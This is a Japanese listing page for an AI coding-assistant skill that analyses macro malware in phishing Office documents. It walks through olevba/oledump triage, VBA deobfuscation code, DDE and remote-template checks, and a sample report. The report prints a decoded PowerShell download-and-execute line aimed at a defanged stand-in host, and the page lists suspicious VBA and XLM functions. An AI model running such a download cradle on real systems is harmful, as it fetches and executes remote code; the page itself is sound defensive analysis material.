analyzing-macro-malware-in-office-documents について
不審なOffice文書、特にフィッシング添付ファイルを調査するセキュリティチーム向けのマルウェア分析スキルです。マクロの初期調査、抽出、難読化解除に加え、文書を利用する他の攻撃手法も確認します。
主な機能
- 01Office文書の内容を初期調査
- 02VBAコードの抽出と分析
- 03マクロコードの難読化解除
- 04Excel 4.0マクロの確認
- 05DDEとリモートテンプレートの確認
- 06分析結果の整理
活用シーン
- 01不審な.docm添付ファイルの調査
- 02マクロのペイロード取得と実行を追跡
- 03フィッシング文書から指標を特定
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill analyzing-macro-malware-in-office-documentsインストール後、Claude Code で/analyzing-macro-malware-in-office-documentsを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdscripts/agent.py詳細
Office ドキュメント内のマクロマルウェアを分析する
使用するタイミング
- 不審な Office ドキュメント(.doc、.docm、.xls、.xlsm、.ppt)がメールセキュリティによって検出された場合
- 悪意のある Office ドキュメントを配信するフィッシングキャンペーンを調査する場合
- VBA マクロコードを抽出し、ペイロードのダウンロード URL と実行方法を特定する場合
- 難読化された VBA コードを分析し、攻撃チェーンの全容を把握する場合
- ドキュメントがマクロではなく、DDE、ActiveX、またはリモートテンプレートインジェクションを使用しているか判断する場合
使用しないでください:マクロを使わない Office の脅威(DDE、リモートテンプレートインジェクション)の分析には使用しないでください。このスキルではこれらの検出も扱いますが、専門的な分析が必要な場合があります。
前提条件
- oletools をインストールした Python 3.8 以降(
pip install oletools) - Didier Stevens の oledump.py(https://blog.didierstevens.com/programs/oledump-py/)
- Microsoft Office をインストールしていない隔離分析 VM(誤実行を防止)
- Excel 4.0 マクロ分析用の XLMDeobfuscator(pip install xlmdeobfuscator)
- ドキュメントを安全にレンダリングするための LibreOffice(デフォルトでは VBA マクロを実行しません)
ワークフロー
ステップ 1:ドキュメントの初期トリアージ
ドキュメントにマクロやその他のアクティブコンテンツが含まれているか確認します。
# Quick triage with olevba
olevba suspect.docm
# Check for OLE streams and macros
oleid suspect.docm
# Output indicators:
# VBA Macros: True/False
# XLM Macros: True/False
# External Relationships: True/False (remote template)
# ObjectPool: True/False (embedded objects)
# Flash: True/False (SWF objects)
# Comprehensive OLE analysis
oledump.py suspect.docm
# List all OLE streams with macro indicators
# Streams marked with 'M' contain VBA macros
# Streams marked with 'm' contain macro attributes
ステップ 2:VBA コードの抽出と分析
VBA マクロのソース全体を抽出します。
# Extract VBA with full deobfuscation
olevba --decode --deobf suspect.docm
# Extract just the VBA source code
olevba --code suspect.docm > extracted_vba.txt
# Detailed extraction with oledump
oledump.py -s 8 -v suspect.docm # Stream 8 (adjust based on stream listing)
# Extract all macro streams
oledump.py -p plugin_vba_dco suspect.docm
Key VBA Elements to Identify:
━━━━━━━━━━━━━━━━━━━━━━━━━━━
Auto-Execution Triggers:
- Auto_Open / AutoOpen (Word)
- Auto_Close / AutoClose
- Document_Open / Document_Close
- Workbook_Open (Excel)
- AutoExec
Suspicious Functions:
- Shell() / Shell.Application
- WScript.Shell.Run / Exec
- CreateObject("WScript.Shell")
- PowerShell execution
- URLDownloadToFile
- MSXML2.XMLHTTP (HTTP requests)
- ADODB.Stream (file writing)
- Environ() (environment variables)
- CallByName (indirect method calls)
ステップ 3:VBA コードの難読化解除
難読化の層を取り除き、ペイロードを明らかにします。
# VBA deobfuscation techniques
import re
def deobfuscate_vba(code):
# 1. Resolve Chr() calls: Chr(104) & Chr(116) -> "ht"
def resolve_chr(match):
try:
return chr(int(match.group(1)))
except:
return match.group(0)
code = re.sub(r'Chr\$?\((\d+)\)', resolve_chr, code)
# 2. Remove string concatenation: "htt" & "p://" -> "http://"
code = re.sub(r'"\s*&\s*"', '', code)
# 3. Resolve ChrW calls: ChrW(104)
code = re.sub(r'ChrW\$?\((\d+)\)', resolve_chr, code)
# 4. Resolve StrReverse: StrReverse("exe.daolnwod") -> "download.exe"
def resolve_reverse(match):
return '"' + match.group(1)[::-1] + '"'
code = re.sub(r'StrReverse\("([^"]+)"\)', resolve_reverse, code)
# 5. Remove Mid$/Left$/Right$ obfuscation (complex, mark for manual review)
# 6. Resolve Replace(): Replace("Powxershxell", "x", "")
def resolve_replace(match):
original = match.group(1)
find = match.group(2)
replace_with = match.group(3)
return '"' + original.replace(find, replace_with) + '"'
code = re.sub(r'Replace\("([^"]+)",\s*"([^"]+)",\s*"([^"]*)"\)', resolve_replace, code)
return code
with open("extracted_vba.txt") as f:
vba_code = f.read()
deobfuscated = deobfuscate_vba(vba_code)
print(deobfuscated)
ステップ 4:Excel 4.0(XLM)マクロの分析
VBA 検出を回避するレガシー Excel マクロを扱います。
# Detect XLM macros
olevba --xlm suspect.xlsm
# Deobfuscate XLM macros
xlmdeobfuscator -f suspect.xlsm
# Manual XLM analysis with oledump
oledump.py suspect.xlsm -p plugin_biff.py
# XLM (Excel 4.0) macro functions to watch for:
# EXEC() - Execute shell command
# CALL() - Call DLL function
# REGISTER() - Register DLL function
# URLDownloadToFileA - Download file
# ALERT() - Display message (social engineering)
# HALT() - Stop execution
# GOTO() - Control flow
# IF() - Conditional execution
ステップ 5:マクロを使わない攻撃ベクトルの確認
ドキュメント内の DDE、リモートテンプレート、埋め込みオブジェクトを調べます。
# Check for DDE (Dynamic Data Exchange)
python3 -c "
import zipfile
import xml.etree.ElementTree as ET
import re
z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
if name.endswith('.xml') or name.endswith('.rels'):
content = z.read(name).decode('utf-8', errors='ignore')
# DDE field codes
if 'DDEAUTO' in content or 'DDE ' in content:
print(f'[!] DDE found in {name}')
dde_match = re.findall(r'DDEAUTO[^\"]*\"([^\"]+)\"', content)
for m in dde_match:
print(f' Command: {m}')
# Remote template
if 'attachedTemplate' in content or 'Target=' in content:
urls = re.findall(r'Target=\"(https?://[^\"]+)\"', content)
for url in urls:
print(f'[!] Remote template URL: {url}')
"
# Check for embedded OLE objects
oledump.py -p plugin_msg.py suspect.docm
# Check relationships for external references
python3 -c "
import zipfile
z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
if '.rels' in name:
content = z.read(name).decode('utf-8', errors='ignore')
if 'http' in content.lower() or 'ftp' in content.lower():
print(f'External reference in {name}:')
import re
urls = re.findall(r'Target=\"([^\"]+)\"', content)
for url in urls:
print(f' {url}')
"
ステップ 6:分析レポートの作成
マクロマルウェア分析の全容を記録します。
Report should include:
- Document metadata (author, creation date, modification date)
- Macro presence and type (VBA, XLM, DDE, remote template)
- Auto-execution trigger identified
- Deobfuscated VBA source code (key functions)
- Download URL(s) for second-stage payloads
- Execution method (Shell, WScript, PowerShell, COM object)
- Social engineering lure description
- Extracted IOCs (URLs, domains, IPs, file hashes)
- YARA rule for the specific document pattern
重要な概念
| 用語 | 定義 |
|---|---|
| VBA マクロ | Office ドキュメントに埋め込まれた Visual Basic for Applications コードです。OS とのやり取り、ファイルのダウンロード、コマンドの実行が可能です。 |
| Auto_Open | Word ドキュメントを開いたときに自動実行される VBA イベントプロシージャで、マクロマルウェアの主要な起動トリガーです。 |
| OLE(オブジェクトのリンクと埋め込み) | Microsoft の複合ドキュメント形式です。Office ドキュメントは OLE コンテナーであり、マクロやオブジェクトを格納できるストリームを含みます。 |
| DDE(動的データ交換) | マクロを使わずにコマンドを実行するため、ドキュメントで悪用されるレガシーな Windows IPC メカニズムです。フィールドコードの更新によって起動します。 |
| リモートテンプレートインジェクション | ドキュメントを開いたときに、リモート URL からマクロ有効テンプレートを読み込む攻撃です。初期のマクロ検出を回避します。 |
| XLM マクロ(Excel 4.0) | VBA より前に使われていたレガシーな Excel マクロ言語です。非表示のシートに保存され、従来の VBA 分析ツールでは見落とされることがよくあります。 |
| 保護ビュー | ユーザーが「コンテンツの有効化」をクリックするまでマクロの実行を防ぐ Office のサンドボックスです。ソーシャルエンジニアリングでは、この障壁が標的になります。 |
ツールとシステム
- oletools (olevba):OLE ファイルの分析、VBA マクロの抽出、不審なキーワードや IOC の検出に使う Python ツールキットです。
- oledump.py:VBA の展開と抽出に対応するプラグインを備えた、OLE ストリーム分析用の Didier Stevens のツールです。
- XLMDeobfuscator:Excel 4.0(XLM)マクロの数式の難読化解除に特化したツールです。
- ViperMonkey:サンドボックス環境で VBA マクロを実行し、動作を観察する VBA エミュレーションエンジンです。
- YARA:VBA の文字列パターンや OLE 構造の指標を使って、ドキュメントベースのマルウェアを検出するパターンマッチングツールです。
よくあるシナリオ
シナリオ:難読化された VBA マクロを含むフィッシング文書の分析
コンテキスト:複数の従業員が、請求書を装った .docm ファイルが添付されたメールを受信しました。この文書では、完全な内容を表示するために「コンテンツの有効化」を促されます。
アプローチ:
- oleid を実行して VBA マクロの有無を確認し、自動実行トリガーを特定します
- olevba --decode --deobf を使って VBA コードを抽出し、初期的な難読化解除を行います
- 自動実行のエントリポイント(Auto_Open または Document_Open)を特定します
- エントリポイントからヘルパー関数までの実行フローを追跡します
- 文字列の連結と Chr() によるエンコードを難読化解除し、ダウンロード URL を明らかにします
- ダウンロード方法(WScript.Shell、MSXML2.XMLHTTP、PowerShell)を特定します
- すべての IOC を抽出し、特定の難読化パターン用の YARA ルールを作成します
注意点:
- コマンドラインツールを使わず、「手早い分析」のために Microsoft Office で文書を開く
- UserForms に保存された VBA コードを見落とす(GUI 要素にはイベントハンドラーのコードが含まれている場合があります)
- 攻撃者の痕跡が含まれている可能性のある文書のメタデータ(作成者名、テンプレート名)を無視する
- 同じ文書内に VBA マクロと XLM マクロの両方がないか確認しない(一部のマルウェアは両方を使用します)
出力形式
OFFICE MACRO MALWARE ANALYSIS
================================
Document: invoice_q3_2025.docm
SHA-256: e3b0c44298fc1c149afbf4c8996fb924...
File Type: Microsoft Word Document (OOXML with macros)
Author: Administrator
Creation Date: 2025-09-10 14:23:00
MACRO ANALYSIS
Type: VBA Macro
Trigger: AutoOpen()
Streams: 3 VBA streams (ThisDocument, Module1, Module2)
DEOBFUSCATED EXECUTION CHAIN
1. AutoOpen() -> Calls Module1.RunPayload()
2. RunPayload() builds command string via Chr() concatenation
3. Command: powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAA...
4. Decoded: IEX (New-Object Net.WebClient).DownloadString('hxxp://evil[.]com/payload.ps1')
SOCIAL ENGINEERING LURE
- Document displays fake "Protected Document" image
- Instructs user to "Enable Content" to view the document
- Content is blurred/hidden until macros execute
EXTRACTED IOCs
Download URL: hxxp://evil[.]com/payload.ps1
C2 Domain: evil[.]com
IP Address: 185.220.101[.]42
User-Agent: PowerShell (default WebClient)
MITRE ATT&CK
T1566.001 Phishing: Spearphishing Attachment
T1204.002 User Execution: Malicious File
T1059.001 Command and Scripting Interpreter: PowerShell
T1059.005 Command and Scripting Interpreter: Visual Basic
コメント
Markdown 対応